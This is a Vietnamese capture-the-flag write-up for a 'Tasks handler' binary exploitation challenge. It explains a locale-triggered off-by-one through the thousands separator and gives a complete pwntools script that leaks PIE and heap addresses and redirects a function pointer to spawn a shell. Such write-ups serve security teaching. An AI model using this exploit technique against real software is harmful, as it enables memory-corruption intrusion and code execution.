# Tasks handler * Ở chương trình này chúng ta có thể thấy ngay 1 bug khi set `name` lúc đầu chương trình bị `off by one` ```cpp= char name[0x10]; ... puts("What's your name?"); nbytes = read(0, name, 0x10); name[nbytes] = '\x00'; Init(name); ``` * Hàm `Init` ```cpp= void Init(char *name) { char hi[0x10]; char lang[0x10] = "en_US"; strcpy(hi, name); setlocale(LC_ALL, lang); printf("Hello %s\n", hi); for(int i = 0; i < 0x10; i++) tasks[i] = NULL; for(int i = 0; i < 5; i++) { handlers[i].task_id = 0xdeadbeef; handlers[i].is_free = 1; } } ``` * Ở đây chúng ta thấy rằng nó sẽ `off by one` byte đầu tiên của biến `lang` như vậy `setlocale(LC_ALL, lang)` bn đầu `setlocale(LC_ALL, "en_US")` sẽ thành `setlocale(LC_ALL, "")` * Khi tham số thứ `2` là `""` thì `setlocale` sẽ sử dụng những biến `env` để set. Ở đây trong docker mình có xây dựng 1 vài biến để sẽ được dùng khi gọi `setlocale` ``` ENV LANG=en_US.UTF-8 \ LC_NAME=ru_RU.UTF-8 \ LC_MONETARY=ru_RU.UTF-8 \ LC_PAPER=ru_RU.UTF-8 \ LC_IDENTIFICATION=ru_RU.UTF-8 \ LC_TELEPHONE=ru_RU.UTF-8 \ LC_MEASUREMENT=ru_RU.UTF-8 \ LC_TIME=ru_RU.UTF-8 \ LC_NUMERIC=ru_RU.UTF-8 ``` * Sau khi trigger được `setlocale(LC_ALL, "")` thì mới có thể dẫn tới 1 bug `off by one khác` * Ở hàm `Coung_Age` ```cpp= sprintf(t->result, "Result : %'d", age); ``` * Ở đây mình cho `age` tối đa là `4` chữ số nên sẽ không thể overflow được. Nhưng mà ở đây mình dùng `%'d` thì chương trình sẽ sử dụng `thousand seperator` * Nghĩa là chẳng hạn khi `age` của mình > `1000` thì chương trình sẽ in ra kiểu `1,000`, `1'000` hoặc `1 000` * Ở đây mình sau khi set biến `age` thành `1000` ![Screenshot 2023-12-17 103057](https://hackmd.io/_uploads/BkJcj128T.png) * Debug thì ký tự ` ` chiếm `3` bytes lận nên đây là 1 bug `off by one` * Lưu ý là chúng ta phải trigger dc `setlocale(LC_ALL, "")` vì `thousand seperator` mặc định là không có `off by one` ![Screenshot 2023-12-17 103352](https://hackmd.io/_uploads/Bk0QhJnI6.png) * Mình là cho input trỏ về chính cái `struct` * Các bước sau đó là mình sẽ có thể tùy chỉnh `input` để leak `pie` rồi set `func_ptr` thành `Shell_Lotto` và `input` sẽ là mảng `lotto` mà hàm đó dùng vậy là gọi dc shell * Script này của mình có leak heap nhưng thực ra không cần chỉ cần leak được pie thôi ```py= from pwn import * s = lambda data: p.send(data) sl = lambda data: p.sendline(data) sla = lambda delim, data: p.sendlineafter(delim, data) sa = lambda delim, data: p.sendafter(delim, data) elf = context.binary = ELF('tasks_handler') READ_FILE = 1 ENCODE = 2 COUNT_AGE = 3 SHELL_LOTTO = 4 GCD = 5 def set_name(name): sa(b'name?', name) def add_task(id): sla(b'>', b'1') sla(b'>', str(id).encode()) def view_task(id): sla(b'>', b'2') sla(b'id:', str(id).encode()) def edit_task(id, new_input): sla(b'>', b'3') sla(b'id:', str(id).encode()) sa(b'input', new_input) def delete_task(id): sla(b'>', b'4') sla(b'id:', str(id).encode()) def run(arr): sla(b'>', b'5') sla(b'run?', str(len(arr)).encode()) for i in arr: sl(str(i).encode()) #p = remote('0', 1337) #p = remote('103.162.14.116', 12006) p = process() gdb.attach(p, gdbscript=''' # b View_Task # b Shell_Lotto b setlocale c''') #off by one setlocale to get thousand seperator set_name(b'A'*0x10) #make heap align add_task(READ_FILE) # 0 run([0]) sla(b'Size:', str(0xe0).encode()) sla(b'File name:', b'blabla') #trigger off by one add_task(COUNT_AGE) # 1 run([1]) sla(b'born?', b'1023') sa(b'Name:', b'A') #leak pie and heap(not need) edit_task(1, b'A'*0x20 + b'\x10') sla(b'>', b'2') #heap p.recvuntil(b'A'*0x20) leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) heap = leak - 0x3a10 print('heap: ', hex(heap)) sla(b'id:', b'1') #leak pie edit_task(1, b'A'*0x10 + p64(heap + 0x3a48) + p64(0x100) + p64(2) + p64(0)*2) sla(b'>', b'2') sla(b'id:', b'1') p.recvuntil(b'Input: ') leak = p.recvline()[:-1] leak = int.from_bytes(leak, byteorder='little') print('leak: ', hex(leak)) elf.address = leak - elf.symbols['Count_Age'] print('elf: ', hex(elf.address)) #trigger off by one again run([1]) sla(b'born?', b'1023') sa(b'Name:', p64(elf.symbols['Count_Age'])) #overwrite func_ptr to Shell_Lotto task = b'A'*0x20 + p64(elf.symbols['lotto']) + p64(0x100) + p64(0)*3 + p64(elf.symbols['Shell_Lotto']) edit_task(1, task) run([1]) sa(b'guess:', b'A') p.interactive() ```